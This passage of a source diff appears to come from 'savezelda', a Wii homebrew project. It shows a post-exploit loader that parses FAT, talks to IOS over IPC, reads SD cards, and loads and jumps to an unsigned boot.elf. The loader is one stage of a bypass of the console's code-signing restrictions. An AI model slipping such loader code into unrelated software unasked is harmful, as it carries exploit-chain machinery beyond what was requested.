bytes_per_cluster = bytes_per_sector * sectors_per_cluster;
u32 reserved_sectors = le16(sb + 0x0e);
u32 fats = sb[0x10];
root_entries = le16(sb + 0x11);
u32 total_sectors = le16(sb + 0x13);
u32 sectors_per_fat = le16(sb + 0x16);
// For FAT16 and FAT32:
if (total_sectors == 0)
total_sectors = le32(sb + 0x20);
// For FAT32:
if (sectors_per_fat == 0)
sectors_per_fat = le32(sb + 0x24);
// XXX: For FAT32, we might want to look at offsets 28, 2a
// XXX: We _do_ need to look at 2c
u32 fat_sectors = sectors_per_fat * fats;
u32 root_sectors = (0x20*root_entries + bytes_per_sector - 1)
/ bytes_per_sector;
u32 fat_start_sector = reserved_sectors;
u32 root_start_sector = fat_start_sector + fat_sectors;
u32 data_start_sector = root_start_sector + root_sectors;
clusters = (total_sectors - data_start_sector) / sectors_per_cluster;
if (clusters < 0x0ff5)
fat_type = 12;
else if (clusters < 0xfff5)
fat_type = 16;
else
fat_type = 32;
fat_offset = (u64)bytes_per_sector*fat_start_sector;
root_offset = (u64)bytes_per_sector*root_start_sector;
data_offset = (u64)bytes_per_sector*data_start_sector;
if (fat_type == 32)
root_offset = le32(sb + 0x2c);
#ifdef FAT_TEST
fprintf(stderr, "bytes_per_sector = %08x\n", bytes_per_sector);
fprintf(stderr, "sectors_per_cluster = %08x\n", sectors_per_cluster);
fprintf(stderr, "bytes_per_cluster = %08x\n", bytes_per_cluster);
fprintf(stderr, "root_entries = %08x\n", root_entries);
fprintf(stderr, "clusters = %08x\n", clusters);
fprintf(stderr, "fat_type = %08x\n", fat_type);
fprintf(stderr, "fat_offset = %012llx\n", fat_offset);
fprintf(stderr, "root_offset = %012llx\n", root_offset);
fprintf(stderr, "data_offset = %012llx\n", data_offset);
#endif
return 0;
}
static int is_fat_fs(const u8 *sb)
{
// Bytes per sector should be 512, 1024, 2048, or 4096
u32 bps = le16(sb + 0x0b);
if (bps < 0x0200 || bps > 0x1000 || bps & (bps - 1))
return 0;
// Media type should be f0 or f8,...,ff
if (sb[0x15] < 0xf8 && sb[0x15] != 0xf0)
return 0;
// If those checks didn't fail, it's FAT. We hope.
return 1;
}
int fat_init(void)
{
u8 buf[0x200];
int err;
partition_start_offset = 0;
err = read(buf, 0, 0x200);
if (err)
return err;
if (le16(buf + 0x01fe) != 0xaa55) // Not a DOS disk.
return -1;
if (is_fat_fs(buf))
return fat_init_fs(buf);
// Maybe there's a partition table? Let's try the first partition.
if (buf[0x01c2] == 0)
return -1;
partition_start_offset = 0x200ULL*le32(buf + 0x01c6);
err = read(buf, 0, 0x200);
if (err)
return err;
if (is_fat_fs(buf))
return fat_init_fs(buf);
return -1;
}

BIN
loader/font.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.5 KiB

BIN
loader/font.ppm Normal file

Binary file not shown.

60
loader/font2c.pl Executable file
View File

@ -0,0 +1,60 @@
#!/usr/bin/perl
# Read PPM file.
$sig = <>; chomp $sig;
$sizes = <>; chomp $sizes;
$cols = <>; chomp $cols;
{
local $/;
$data = <>;
}
# Sanity check.
$sig ne "P6" and die;
$sizes ne "90 256" and die;
$cols ne "255" and die;
(length $data) != 3 * 90 * 256 and die;
# Output header.
print "// GENERATED FILE DO NOT EDIT\n";
print "\n";
print "#include \"loader.h\"\n";
print "\n";
print "const u8 console_font_10x16x4[96*80] = {\n";
# Output data.
for my $ch (2..7) {
for my $cl (0..15) {
printf "\n\t// %x%x\n", $ch, $cl;
for my $py (0..15) {
print "\t";
for my $px (0..9) {
my $hor = $px + 10*($ch - 2);
my $ver = $py + 16*$cl;
my $wot = $hor + 90*$ver;
my $bytes = substr($data, 3*$wot, 3);
my $nyb = int ((ord $bytes) / 16);
if (($px & 1) == 0) {
printf "0x%x", $nyb;
} else {
printf "%x,", $nyb;
}
}
print "\n";
}
}
}
# Output footer.
print "\n";
print "};\n";

272
loader/ios.c Normal file
View File

@ -0,0 +1,272 @@
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#include "loader.h"
// Low-level IPC access.
static u32 ipc_read(u32 reg)
{
return read32(0x0d000000 + 4*reg);
}
static void ipc_write(u32 reg, u32 value)
{
write32(0x0d000000 + 4*reg, value);
}
static void ipc_bell(u32 w)
{
ipc_write(1, (ipc_read(1) & 0x30) | w);
}
static void ipc_wait_ack(void)
{
while ((ipc_read(1) & 0x22) != 0x22)
;
}
static void ipc_wait_reply(void)
{
while ((ipc_read(1) & 0x14) != 0x14)
;
}
static void ipc_irq_ack(void)
{
ipc_write(12, 0x40000000);
}
// Mid-level IPC access.
static struct {
u32 cmd;
int result;
int fd;
u32 arg[5];
u32 user[8];
} ipc __attribute__((aligned(64)));
static void ipc_send_request(void)
{
sync_after_write(&ipc, 0x40);
ipc_write(0, virt_to_phys(&ipc));
ipc_bell(1);
ipc_wait_ack();
ipc_bell(2);
ipc_irq_ack();
}
static void ipc_recv_reply(void)
{
for (;;) {
u32 reply;
ipc_wait_reply();
reply = ipc_read(2);
ipc_bell(4);
ipc_irq_ack();
ipc_bell(8);
if (reply == virt_to_phys(&ipc))
break;
}
sync_before_read(&ipc, sizeof ipc);
}
// High-level IPC access.
int ios_open(const char *filename, u32 mode)
{
sync_after_write(filename, strlen(filename) + 1);
memset(&ipc, 0, sizeof ipc);
ipc.cmd = 1;
ipc.fd = 0;
ipc.arg[0] = virt_to_phys(filename);
ipc.arg[1] = mode;
ipc_send_request();
ipc_recv_reply();
return ipc.result;
}
int ios_close(int fd)
{
memset(&ipc, 0, sizeof ipc);
ipc.cmd = 2;
ipc.fd = fd;
ipc_send_request();
ipc_recv_reply();
return ipc.result;
}
#if 0
int ios_read(int fd, void *data, u32 len)
{
memset(&ipc, 0, sizeof ipc);
ipc.cmd = 3;
ipc.fd = fd;
ipc.arg[0] = virt_to_phys(data);
ipc.arg[1] = len;
ipc_send_request();
ipc_recv_reply();
if (data)
sync_before_read(data, len);
return ipc.result;
}
int ios_seek(int fd, int where, int whence)
{
memset(&ipc, 0, sizeof ipc);
ipc.cmd = 5;
ipc.fd = fd;
ipc.arg[0] = where;
ipc.arg[1] = whence;
ipc_send_request();
ipc_recv_reply();
return ipc.result;
}
#endif
int ios_ioctl(int fd, u32 n, const void *in, u32 inlen, void *out, u32 outlen)
{
memset(&ipc, 0, sizeof ipc);
if (in)
sync_after_write(in, inlen);
if (out)
sync_after_write(out, outlen);
ipc.cmd = 6;
ipc.fd = fd;
ipc.arg[0] = n;
ipc.arg[1] = virt_to_phys(in);
ipc.arg[2] = inlen;
ipc.arg[3] = virt_to_phys(out);
ipc.arg[4] = outlen;
ipc_send_request();
ipc_recv_reply();
if (out)
sync_before_read(out, outlen);
return ipc.result;
}
int ios_ioctlv(int fd, u32 n, u32 in_count, u32 out_count, struct ioctlv *vec)
{
u32 i;
memset(&ipc, 0, sizeof ipc);
for (i = 0; i < in_count + out_count; i++)
if (vec[i].data) {
sync_after_write(vec[i].data, vec[i].len);
vec[i].data = (void *)virt_to_phys(vec[i].data);
}
sync_after_write(vec, (in_count + out_count) * sizeof *vec);
ipc.cmd = 7;
ipc.fd = fd;
ipc.arg[0] = n;
ipc.arg[1] = in_count;
ipc.arg[2] = out_count;
ipc.arg[3] = virt_to_phys(vec);
ipc_send_request();
ipc_recv_reply();
for (i = in_count; i < in_count + out_count; i++)
if (vec[i].data) {
vec[i].data = phys_to_virt((u32)vec[i].data);
sync_before_read(vec[i].data, vec[i].len);
}
return ipc.result;
}
// Cleanup any old state.
static void ipc_cleanup_reply(void)
{
if ((ipc_read(1) & 0x14) != 0x14)
return;
ipc_read(2);
ipc_bell(4);
ipc_irq_ack();
ipc_bell(8);
}
static void ipc_cleanup_request(void)
{
if ((ipc_read(1) & 0x22) == 0x22)
ipc_bell(2);
}
static void releasse_old_stm_callback(void)
{
*((u32 *)0x80000018) = 0x00000014;
sync_after_write((void*)0x80000014, 8);
int fd = ios_open("/dev/stm/immediate",0);
if (fd < 0) {
printf("STM Immediate open failed!\n");
return;
}
int err = ios_ioctl(fd, 0x3002, 0, 0, 0, 0);
if (err < 0 && err != -6)
printf("Eventhook release failed with code %d\n", err);
ios_close(fd);
}
void reset_ios(void)
{
int i;
//printf("Flushing IPC transactions");
for (i = 0; i < 10; i++) {
ipc_cleanup_request();
ipc_cleanup_reply();
ipc_irq_ack();
udelay(1000);
//printf(".");
}
//printf(" Done.\n");
//printf("Closing file descriptors...");
for (i = 0; i < 32; i++)
ios_close(i);
//printf(" Done.\n");
releasse_old_stm_callback();
}

171
loader/loader.h Normal file
View File

@ -0,0 +1,171 @@
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#ifndef _LOADER_H
#define _LOADER_H
#include <stddef.h>
// String functions.
size_t strlen(const char *);
size_t strnlen(const char *, size_t);
void *memset(void *, int, size_t);
void *memcpy(void *, const void *, size_t);
int memcmp(const void *, const void *, size_t);
// Basic types.
typedef unsigned char u8;
typedef unsigned short int u16;
typedef unsigned int u32;
typedef unsigned long long int u64;
static inline u16 le16(const u8 *p)
{
return p[0] | (p[1] << 8);
}
static inline u32 le32(const u8 *p)
{
return p[0] | (p[1] << 8) | (p[2] << 16) | (p[3] << 24);
}
// Basic I/O.
static inline u32 read32(u32 addr)
{
u32 x;
asm volatile("lwz %0,0(%1) ; sync" : "=r"(x) : "b"(0xc0000000 | addr));
return x;
}
static inline void write32(u32 addr, u32 x)
{
asm("stw %0,0(%1) ; eieio" : : "r"(x), "b"(0xc0000000 | addr));
}
static inline u16 read16(u32 addr)
{
u16 x;
asm volatile("lhz %0,0(%1) ; sync" : "=r"(x) : "b"(0xc0000000 | addr));
return x;
}
static inline void write16(u32 addr, u16 x)
{
asm("sth %0,0(%1) ; eieio" : : "r"(x), "b"(0xc0000000 | addr));
}
// Address mapping.
static inline u32 virt_to_phys(const void *p)
{
return (u32)p & 0x7fffffff;
}
static inline void *phys_to_virt(u32 x)
{
return (void *)(x | 0x80000000);
}
// Cache synchronisation.
void sync_before_read(void *p, u32 len);
void sync_after_write(const void *p, u32 len);
void sync_before_exec(const void *p, u32 len);
// Time.
void udelay(u32 us);
// Special purpose registers.
#define mtspr(n, x) do { asm("mtspr %1,%0" : : "r"(x), "i"(n)); } while (0)
#define mfspr(n) ({ \
u32 x; asm volatile("mfspr %0,%1" : "=r"(x) : "i"(n)); x; \
})
// Exceptions.
void exception_init(void);
// USB Gecko.
void usbgecko_init(void);
int usbgecko_checkgecko(void);
void usbgecko_console_putc(u8 c);
u8 usbgecko_flash_read8(u32 offset);
u32 usbgecko_flash_read32(u32 offset);
// Version string.
extern const char version[];
// Video.
void video_init(void);
void fb_putc(char);
// Console.
void console_init(void);
int printf(const char *fmt, ...);
// SD card.
int sd_init(void);
int sd_read_sector(u8 *data, u32 offset);
int sd_close(void);
// FAT.
int fat_init(void);
int fat_open(const char *name);
int fat_read(void *data, u32 len);
// ELF.
int valid_elf_image(void *addr);
void *load_elf_image(void *addr);
// IOS.
struct ioctlv {
void *data;
u32 len;
};
int ios_open(const char *filename, u32 mode);
int ios_close(int fd);
int ios_read(int fd, void *data, u32 len);
int ios_write(int fd, const void *data, u32 len);
int ios_seek(int fd, int where, int whence);
int ios_ioctl(int fd, u32 n, const void *in, u32 inlen, void *out, u32 outlen);
int ios_ioctlv(int fd, u32 n, u32 in_count, u32 out_count, struct ioctlv *vec);
void reset_ios(void);
#endif

27
loader/loader.lds Normal file
View File

@ -0,0 +1,27 @@
/* Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
This code is licensed to you under the terms of the GNU GPL, version 2;
see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt */
OUTPUT_FORMAT("elf32-powerpc")
OUTPUT_ARCH(powerpc:common)
ENTRY(_start)
SECTIONS {
. = 0x93000000;
.start : { crt0.o(*) }
.text : { *(.text) }
.rodata : { *(.rodata .rodata.*)}
.data : { *(.data) }
__bss_start = .;
.bss : { *(.bss) }
__bss_end = .;
. = ALIGN(0x40);
.stack : {
. += 0x8000;
_stack_top = .;
}
}

159
loader/main.c Normal file
View File

@ -0,0 +1,159 @@
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#include "loader.h"
static u8 *const code_buffer = (u8 *)0x90100000;
static u8 *const trampoline_buffer = (u8 *)0x80001800;
static void dsp_reset(void)
{
write16(0x0c00500a, read16(0x0c00500a) & ~0x01f8);
write16(0x0c00500a, read16(0x0c00500a) | 0x0010);
write16(0x0c005036, 0);
}
/*static u32 reboot_trampoline[] = {
0x3c209000, // lis 1,0x9000
0x60210020, // ori 1,1,0x0020
0x7c2903a6, // mtctr 1
0x4e800420 // bctr
};*/
int try_sd_load(void)
{
int err;
err = sd_init();
if (err) {
printf("SD card not found (%d)\n", err);
return err;
}
err = fat_init();
if (err == 0)
printf("SD card detected\n");
else {
printf("SD card not detected (%d)\n", err);
return err;
}
// if (usbgecko_checkgecko())
// printf("USBGecko serial interface detected\n");
// else
// printf("USBGecko serial interface not detected\n");
printf("Opening boot.elf:\n");
err = fat_open("boot.elf");
if (err) {
printf("boot.elf not found (%d)\n", err);
return err;
}
extern u32 fat_file_size;
printf("reading %d bytes...\n", fat_file_size);
err = fat_read(code_buffer, fat_file_size);
if (err) {
printf("Error %d reading file\n", err);
return err;
}
printf("Done.\n");
return 0;
}
int try_usbgecko_load(void)
{
if (!usbgecko_checkgecko()) {
printf("USBGecko not found\n");
return -1;
}
#define FLASH_OFFSET 0x30000
int i, size = usbgecko_flash_read32(FLASH_OFFSET);
if (size < 0) {
printf("Invalid code size in usbgecko flash (%d)\n", size);
return -1;
}
printf("Loading %d bytes from USBGecko flash (offset=%x)\n",
size, FLASH_OFFSET+4);
for (i=0; i < size; i++)
code_buffer[i] = usbgecko_flash_read8(FLASH_OFFSET + 4 + i);
return 0;
}
int main(void)
{
// slot LED
write32(0xcd8000c0, 0x20);
dsp_reset();
exception_init();
// Install trampoline at 80001800; some payloads like to jump
// there to restart. Sometimes this can even work.
//memcpy(trampoline_buffer, reboot_trampoline, sizeof(reboot_trampoline));
// Clear interrupt mask.
write32(0x0c003004, 0);
// Unlock EXI.
write32(0x0d00643c, 0);
video_init();
usbgecko_init();
printf("savezelda\n%s\n", version);
printf("\n");
printf("Copyright 2008,2009 Segher Boessenkool\n");
printf("Copyright 2008 Haxx Enterprises\n");
printf("Copyright 2008 Hector Martin (\"marcan\")\n");
printf("Copyright 2003,2004 Felix Domke\n");
printf("\n");
printf("This code is licensed to you under the terms of the\n");
printf("GNU GPL, version 2; see the file COPYING\n");
printf("\n");
printf("Font and graphics by Freddy Leitner\n");
printf("\n");
printf("\n");
printf("Cleaning up environment... ");
reset_ios();
printf("OK.\n");
int err;
restart:
err = try_sd_load();
if (err) {
err = try_usbgecko_load();
if (err) {
printf("No code found to load, hanging.\n");
for (;;)
;
}
}
if (valid_elf_image(code_buffer)) {
printf("Valid ELF image detected.\n");
void (*entry)() = load_elf_image(code_buffer);
entry();
printf("Program returned to loader, reloading.\n");
} else
printf("No valid ELF image detected, retrying.\n");
goto restart;
}

588
loader/sd.c Normal file
View File

@ -0,0 +1,588 @@
#if 0// Copyright 2008 Haxx Enterprises <bushing@gmail.com>
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#include "loader.h"
static int fd;
static u32 rca; // 16 bottom bits are stuff bits
static int sd_hc_write8(u8 reg, u8 data)
{
u32 param[6];
int err;
memset(param, 0, sizeof param);
param[0] = reg;
param[3] = 1; // reg size
param[4] = data;
err = ios_ioctl(fd, 1, param, sizeof param, 0, 0);
return err;
}
static int sd_hc_read8(u8 reg, u8 *x)
{
u32 param[6];
u32 data;
int err;
memset(param, 0, sizeof param);
param[0] = reg;
param[3] = 1; // reg size
param[4] = 0;
err = ios_ioctl(fd, 2, param, sizeof param, &data, sizeof data);
if (err)
return err;
*x = data;
return err;
}
static int sd_reset_card(void)
{
u32 reply;
int err;
err = ios_ioctl(fd, 4, 0, 0, &reply, sizeof reply);
if (err)
return err;
rca = reply & 0xffff0000;
// printf("sd_reset_card(): got reply = %08x\n", reply);
return 0;
}
static int sd_set_clock(void)
{
u32 clock;
int err;
clock = 1; // half of the sdclk divisor: a power of two or zero,
// should look at capabilities reg to compute this
err = ios_ioctl(fd, 6, &clock, sizeof clock, 0, 0);
return err;
}
static int sd_command(u32 cmd, u32 cmd_type, u32 resp_type, u32 arg,
u32 block_count, u32 block_size, void *addr,
u32 *outreply, u32 reply_size)
{
u32 param[9];
u32 reply[4];
int err;
param[0] = cmd;
param[1] = cmd_type;
param[2] = resp_type;
param[3] = arg;
param[4] = block_count;
param[5] = block_size;
param[6] = (u32)addr;
param[7] = 0; // ???
param[8] = 0; // ???
err = ios_ioctl(fd, 7, param, sizeof param, reply, sizeof reply);
if (reply_size) // ???
memcpy(outreply, reply, reply_size);
return err;
}
#define TYPE_BC 1
#define TYPE_BCR 2
#define TYPE_AC 3
#define TYPE_ADTC 4
#define RESPONSE_NONE 0
#define RESPONSE_R1 1
#define RESPONSE_R1B 2
#define RESPONSE_R2 3
#define RESPONSE_R3 4
#define RESPONSE_R4 5
#define RESPONSE_R5 6
#define RESPONSE_R6 7
static int sd_app_command(u32 cmd, u32 cmd_type, u32 resp_type, u32 arg,
u32 block_count, u32 block_size, void *addr,
u32 *outreply, u32 reply_size)
{
int err;
err = sd_command(55, TYPE_AC, RESPONSE_R1, rca, 0, 0, 0, 0, 0);
if (err)
return err;
err = sd_command(cmd, cmd_type, resp_type, arg,
block_count, block_size, addr,
outreply, reply_size);
return err;
}
static int sd_data_command(u32 cmd, u32 cmd_type, u32 resp_type, u32 arg,
u32 block_count, u32 block_size, void *data,
u32 unk1, u32 unk2, u32 *outreply, u32 reply_size)
{
u32 param[9];
u32 reply[4];
struct ioctlv vec[3];
int err;
param[0] = cmd;
param[1] = cmd_type;
param[2] = resp_type;
param[3] = arg;
param[4] = block_count;
param[5] = block_size;
param[6] = (u32)data;
param[7] = unk1; // ???
param[8] = unk2; // ???
vec[0].data = param;
vec[0].len = sizeof param;
vec[1].data = data;
vec[1].len = block_count * block_size;
vec[2].data = reply;
vec[2].len = sizeof reply;
err = ios_ioctlv(fd, 7, 2, 1, vec);
if (reply_size) // ???
memcpy(outreply, reply, reply_size);
return err;
}
static int sd_select(void)
{
int err;
//printf("Selecting card:\n");
err = sd_command(7, TYPE_AC, RESPONSE_R1B, rca, 0, 0, 0, 0, 0);
return err;
}
static int sd_set_blocklength(u32 len)
{
int err;
//printf("sd_set_blocklength(%u)\n", len);
err = sd_command(16, TYPE_AC, RESPONSE_R1, len, 0, 0, 0, 0, 0);
return err;
}
static int sd_set_bus_width(int width)
{
u32 arg;
u8 reg;
int err;
// First notify the card.
arg = (width == 4) ? 2 : 0;
//printf("sd_set_bus_width()\n");
err = sd_app_command(6, TYPE_AC, RESPONSE_R1, arg, 0, 0, 0, 0, 0);
if (err)
return err;
// Now change the Host Control Register.
err = sd_hc_read8(0x28, &reg);
if (err)
return err;
reg = (reg & ~2) | arg;
err = sd_hc_write8(0x28, reg);
return err;
}
int sd_read_sector(u8 *data, u32 offset)
{
u32 reply[4];
int err;
if (offset >= 0x800000)
return -1;
err = sd_data_command(18, TYPE_AC, RESPONSE_R1, 0x200 * offset,
1, 0x200, data, 1, 0, reply, sizeof reply);
sync_before_read(data, 0x200);
//printf("READ block %d\r",offset);
if (err)
printf("SD READ %d: err=%08x, reply=%08x %08x %08x %08x\n",
offset, err, reply[0], reply[1], reply[2], reply[3]);
return err;
}
int sd_close(void)
{
return ios_close(fd);
}
int sd_init(void)
{
int err;
fd = ios_open("/dev/sdio/slot0", 0);
if (fd < 0)
return fd;
err = sd_reset_card();
if (err) {
printf("SD Card not present? (%d)\n", err);
goto out;
}
// now in standby state
err = sd_select();
if (err)
goto out;
// now in transfer state
// Some broken cards require this:
err = sd_set_blocklength(0x200);
if (err)
goto out;
err = sd_set_bus_width(4); // XXX: Should check in SCR first.
if (err)
goto out;
err = sd_set_clock(); // XXX: Should check.
if (err)
goto out;
return 0;
out:
sd_close();
return err;
}
#endif
// Copyright 2008 Haxx Enterprises <bushing@gmail.com>
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#include "loader.h"
static int fd;
static u32 rca; // 16 bottom bits are stuff bits
static u32 blk_mul;
static int sd_hc_write8(u8 reg, u8 data)
{
u32 param[6];
int err;
memset(param, 0, sizeof param);
param[0] = reg;
param[3] = 1; // reg size
param[4] = data;
err = ios_ioctl(fd, 1, param, sizeof param, 0, 0);
return err;
}
static int sd_hc_read8(u8 reg, u8 *x)
{
u32 param[6];
u32 data;
int err;
memset(param, 0, sizeof param);
param[0] = reg;
param[3] = 1; // reg size
param[4] = 0;
err = ios_ioctl(fd, 2, param, sizeof param, &data, sizeof data);
if (err)
return err;
*x = data;
return err;
}
static int sd_reset_card(void)
{
u32 reply;
int err;
err = ios_ioctl(fd, 4, 0, 0, &reply, sizeof reply);
if (err)
return err;
rca = reply & 0xffff0000;
// printf("sd_reset_card(): got reply = %08x\n", reply);
return 0;
}
static int sd_check_sdhc(void)
{
u32 status;
int err;
err = ios_ioctl(fd, 11, 0, 0, &status, sizeof status);
if (err)
return err;
return !!(status & 0x100000);
}
static int sd_set_clock(void)
{
u32 clock;
int err;
clock = 1; // half of the sdclk divisor: a power of two or zero,
// should look at capabilities reg to compute this
err = ios_ioctl(fd, 6, &clock, sizeof clock, 0, 0);
return err;
}
static int sd_command(u32 cmd, u32 cmd_type, u32 resp_type, u32 arg,
u32 block_count, u32 block_size, void *addr,
u32 *outreply, u32 reply_size)
{
u32 param[9];
u32 reply[4];
int err;
param[0] = cmd;
param[1] = cmd_type;
param[2] = resp_type;
param[3] = arg;
param[4] = block_count;
param[5] = block_size;
param[6] = (u32)addr;
param[7] = 0; // ???
param[8] = 0; // ???
err = ios_ioctl(fd, 7, param, sizeof param, reply, sizeof reply);
if (reply_size) // ???
memcpy(outreply, reply, reply_size);
return err;
}
#define TYPE_BC 1
#define TYPE_BCR 2
#define TYPE_AC 3
#define TYPE_ADTC 4
#define RESPONSE_NONE 0
#define RESPONSE_R1 1
#define RESPONSE_R1B 2
#define RESPONSE_R2 3
#define RESPONSE_R3 4
#define RESPONSE_R4 5
#define RESPONSE_R5 6
#define RESPONSE_R6 7
static int sd_app_command(u32 cmd, u32 cmd_type, u32 resp_type, u32 arg,
u32 block_count, u32 block_size, void *addr,
u32 *outreply, u32 reply_size)
{
int err;
err = sd_command(55, TYPE_AC, RESPONSE_R1, rca, 0, 0, 0, 0, 0);
if (err)
return err;
err = sd_command(cmd, cmd_type, resp_type, arg,
block_count, block_size, addr,
outreply, reply_size);
return err;
}
static int sd_data_command(u32 cmd, u32 cmd_type, u32 resp_type, u32 arg,
u32 block_count, u32 block_size, void *data,
u32 unk1, u32 unk2, u32 *outreply, u32 reply_size)
{
u32 param[9];
u32 reply[4];
struct ioctlv vec[3];
int err;
param[0] = cmd;
param[1] = cmd_type;
param[2] = resp_type;
param[3] = arg;
param[4] = block_count;
param[5] = block_size;
param[6] = (u32)data;
param[7] = unk1; // ???
param[8] = unk2; // ???
vec[0].data = param;
vec[0].len = sizeof param;
vec[1].data = data;
vec[1].len = block_count * block_size;
vec[2].data = reply;
vec[2].len = sizeof reply;
err = ios_ioctlv(fd, 7, 2, 1, vec);
if (reply_size) // ???
memcpy(outreply, reply, reply_size);
return err;
}
static int sd_select(void)
{
int err;
//printf("Selecting card:\n");
err = sd_command(7, TYPE_AC, RESPONSE_R1B, rca, 0, 0, 0, 0, 0);
return err;
}
static int sd_set_blocklength(u32 len)
{
int err;
//printf("sd_set_blocklength(%u)\n", len);
err = sd_command(16, TYPE_AC, RESPONSE_R1, len, 0, 0, 0, 0, 0);
return err;
}
static int sd_set_bus_width(int width)
{
u32 arg;
u8 reg;
int err;
// First notify the card.
arg = (width == 4) ? 2 : 0;
//printf("sd_set_bus_width()\n");
err = sd_app_command(6, TYPE_AC, RESPONSE_R1, arg, 0, 0, 0, 0, 0);
if (err)
return err;
// Now change the Host Control Register.
err = sd_hc_read8(0x28, &reg);
if (err)
return err;
reg = (reg & ~2) | arg;
err = sd_hc_write8(0x28, reg);
return err;
}
int sd_read_sector(u8 *data, u32 offset)
{
u32 reply[4];
int err;
//if (offset >= 0x800000)
// return -1;
err = sd_data_command(18, TYPE_AC, RESPONSE_R1, blk_mul * offset,
1, 0x200, data, 1, 0, reply, sizeof reply);
sync_before_read(data, 0x200);
//printf("READ block %d\r",offset);
if (err)
printf("SD READ %d: err=%08x, reply=%08x %08x %08x %08x\n",
offset, err, reply[0], reply[1], reply[2], reply[3]);
return err;
}
int sd_close(void)
{
return ios_close(fd);
}
int sd_init(void)
{
int err;
fd = ios_open("/dev/sdio/slot0", 0);
if (fd < 0)
return fd;
err = sd_reset_card();
if (err) {
printf("SD Card not present? (%d)\n", err);
goto out;
}
err = sd_check_sdhc();
if (err < 0) {
printf("SD Card bad status (%d)\n", err);
goto out;
}
blk_mul = err ? 1 : 512;
// now in standby state
err = sd_select();
if (err)
goto out;
// now in transfer state
// Some broken cards require this:
err = sd_set_blocklength(0x200);
if (err)
goto out;
err = sd_set_bus_width(4); // XXX: Should check in SCR first.
if (err)
goto out;
err = sd_set_clock(); // XXX: Should check.
if (err)
goto out;
return 0;
out:
sd_close();
return err;
}

58
loader/string.c Normal file
View File

@ -0,0 +1,58 @@
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#include "loader.h"
size_t strlen(const char *s)
{
size_t len;
for (len = 0; s[len]; len++)
;
return len;
}
size_t strnlen(const char *s, size_t count)
{
size_t len;
for (len = 0; s[len] && len < count; len++)
;
return len;
}
void *memset(void *b, int c, size_t len)
{
size_t i;
for (i = 0; i < len; i++)
((unsigned char *)b)[i] = c;
return b;
}
void *memcpy(void *dst, const void *src, size_t len)
{
size_t i;
for (i = 0; i < len; i++)
((unsigned char *)dst)[i] = ((unsigned char *)src)[i];
return dst;
}
int memcmp(const void *b1, const void *b2, size_t len)
{
size_t i;
for (i = 0; i < len; i++) {
int diff = ((unsigned char *)b1)[i] - ((unsigned char *)b2)[i];
if (diff)
return diff;
}
return 0;
}

44
loader/sync.c Normal file
View File

@ -0,0 +1,44 @@
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#include "loader.h"
void sync_before_read(void *p, u32 len)
{
u32 a, b;
a = (u32)p & ~0x1f;
b = ((u32)p + len + 0x1f) & ~0x1f;
for ( ; a < b; a += 32)
asm("dcbi 0,%0" : : "b"(a) : "memory");
asm("sync ; isync");
}
void sync_after_write(const void *p, u32 len)
{
u32 a, b;
a = (u32)p & ~0x1f;
b = ((u32)p + len + 0x1f) & ~0x1f;
for ( ; a < b; a += 32)
asm("dcbst 0,%0" : : "b"(a));
asm("sync ; isync");
}
void sync_before_exec(const void *p, u32 len)
{
u32 a, b;
a = (u32)p & ~0x1f;
b = ((u32)p + len + 0x1f) & ~0x1f;
for ( ; a < b; a += 32)
asm("dcbst 0,%0 ; sync ; icbi 0,%0" : : "b"(a));
asm("sync ; isync");
}

31
loader/time.c Normal file
View File

@ -0,0 +1,31 @@
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#include "loader.h"
// Timebase frequency is bus frequency / 4. Ignore roundoff, this
// doesn't have to be very accurate.
#define TICKS_PER_USEC (243/4)
static u32 mftb(void)
{
u32 x;
asm volatile("mftb %0" : "=r"(x));
return x;
}
static void __delay(u32 ticks)
{
u32 start = mftb();
while (mftb() - start < ticks)
;
}
void udelay(u32 us)
{
__delay(TICKS_PER_USEC * us);
}

131
loader/usbgecko.c Normal file
View File

@ -0,0 +1,131 @@
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
// Based on code:
// Copyright (c) 2008 - Nuke - <wiinuke@gmail.com>
#include "loader.h"
static void exi_write(u32 addr, u32 x)
{
write32(0x0d006800 + addr, x);
}
static u32 exi_read(u32 addr)
{
return read32(0x0d006800 + addr);
}
#define EXI_CH1_STATUS 0x14
#define EXI_CH1_CONTROL 0x20
#define EXI_CH1_DATA 0x24
static void usbgecko_deselect_device(void)
{
exi_write(EXI_CH1_STATUS, 0);
}
static void usbgecko_select_device(void)
{
// device 0, 16MHz
exi_write(EXI_CH1_STATUS, 0xc0);
}
static void usbgecko_wait_for_transfer_complete(void)
{
while (exi_read(EXI_CH1_CONTROL) & 1)
;
}
u8 usbgecko_flash_read8(u32 offset)
{
u8 x;
usbgecko_deselect_device();
usbgecko_select_device();
